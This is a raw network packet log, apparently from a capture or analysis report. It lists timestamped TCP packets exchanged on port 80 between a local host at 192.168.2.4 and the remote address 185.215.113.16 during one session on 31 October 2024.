Oct 31, 2024 23:37:18.694550037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694561958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694571018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694575071 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694585085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694591045 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694597006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694607019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694617033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694619894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694628954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694641113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694648027 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694652081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694657087 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694689035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694700003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694720030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694768906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694833994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694844961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694854975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694866896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694875956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694880009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694891930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694901943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694902897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694911957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694916964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694927931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694951057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694951057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694981098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694993019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695003033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695014000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695024967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695034981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695044994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695046902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695059061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695069075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695070982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695070982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695080996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695106030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695136070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695147991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695157051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695161104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695168972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695175886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695179939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695192099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695203066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695213079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695215940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695224047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695235014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695236921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695245981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695256948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695259094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695267916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695280075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695286036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695291996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695298910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695358992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695370913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695380926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695383072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695393085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695403099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695406914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695414066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695419073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695431948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695452929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695602894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695615053 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695624113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695627928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695636988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695647955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695650101 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695660114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695671082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695677042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695683956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695704937 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695772886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695784092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695794106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695799112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695806980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695815086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695820093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695832014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695842028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695842981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695919037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695931911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695941925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695945024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695954084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695966005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695976019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695977926 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695987940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.695997953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695997953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.695998907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696012020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696034908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696052074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696063042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696073055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696075916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696084023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696094990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696105957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696110964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696118116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696124077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696203947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696216106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696225882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696228027 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696237087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696249008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696252108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696257114 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696261883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696274042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696283102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696285009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696296930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696307898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696316004 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696319103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696338892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696345091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696352005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696362019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696365118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696393967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696450949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696463108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696474075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696485043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696495056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696505070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696508884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696517944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696523905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696741104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696752071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696763039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696774960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696787119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696793079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696799040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696805954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696825981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696873903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696887016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696897030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696901083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696908951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696918011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696921110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696938038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696939945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.696950912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.696969032 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697022915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697040081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697045088 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697052002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697062016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697073936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697081089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697086096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697093964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697098017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697112083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697120905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697123051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697134018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697144985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697153091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697155952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697169065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697179079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697194099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697217941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697217941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697377920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697390079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697400093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697411060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697427988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697438002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697448969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697455883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697455883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697460890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697472095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697482109 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697485924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697491884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697496891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697508097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697518110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697521925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697530031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697540998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697560072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697560072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697572947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697583914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697583914 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697596073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697608948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697617054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697619915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697633028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697643042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697643042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697643995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697662115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697684050 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697865963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697876930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697886944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697890997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697901011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697907925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.697913885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697925091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697937012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.697954893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698121071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698143005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698306084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698318005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698327065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698329926 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698339939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698349953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698352098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698364019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698374987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698385954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698395014 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698398113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698406935 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698410988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698430061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698432922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698447943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698452950 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698465109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698477983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698488951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698489904 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698502064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698509932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698512077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698524952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698535919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698545933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698546886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698560953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698573112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698574066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698580980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698585987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698597908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698610067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698616028 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698623896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698633909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698637009 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698647022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698654890 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698657990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698669910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698681116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698684931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698693037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698705912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698712111 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698718071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698734045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698743105 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698748112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698760033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698771000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698771000 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698782921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698790073 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698795080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698806047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698808908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698822021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698827982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.698832035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698843002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.698863983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699049950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699060917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699070930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699074030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699083090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699094057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699095964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699105024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699110985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699117899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699146032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699158907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699170113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699170113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699193954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699199915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699210882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699220896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699222088 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699234009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699243069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699350119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699366093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699376106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699378014 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699387074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699394941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699404955 CET	80	49739	185.215.113.16	192.168.2.4
